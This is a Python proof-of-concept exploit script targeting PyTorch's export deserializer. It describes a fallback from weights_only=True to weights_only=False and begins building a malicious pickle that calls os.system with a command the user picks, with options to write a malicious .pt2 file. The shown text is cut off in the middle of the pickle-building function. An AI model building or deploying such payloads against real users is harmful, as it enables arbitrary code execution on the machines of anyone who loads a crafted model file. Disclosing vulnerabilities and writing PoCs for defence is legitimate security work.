#!/usr/bin/env python3 """ PoC: PyTorch Export Serializer Fallback RCE (weights_only=True → False) The `deserialize_torch_artifact()` function in `torch/_export/serde/serialize.py:426-449` first attempts to load pickled data with `weights_only=True`. On ANY exception, it FALLS BACK to `weights_only=False`, which allows arbitrary code execution. Attack: A malicious .pt2 archive contains example_inputs pickled with a reference to `os.system`. The weights_only=True path blocks it (os is in the blocklist), but the fallback loads the SAME data with weights_only=False → RCE. This is a SEPARATE code path from the weights_only=False in `_package.py:877`. Both independently allow RCE from malicious .pt2 files. Usage: python poc_serialize_fallback.py # Generate and test python poc_serialize_fallback.py --cmd "calc.exe" # Custom command python poc_serialize_fallback.py --output malicious.pt2 # Save to file """ import argparse import io import json import os import pickle import struct import sys import tempfile import zipfile from pickle import PROTO, GLOBAL, REDUCE, STOP, BINUNICODE, TUPLE1 def make_reduce_pickle(module, name, arg): """ Build a pickle equivalent to: module.name(arg) Uses GLOBAL opcode for the callable, REDUCE to call it. """ data = ( PROTO + bytes([2]) + GLOBAL + module.encode() + b'\n' + name.encode() + b'\n' + BINUNICODE + struct.pack('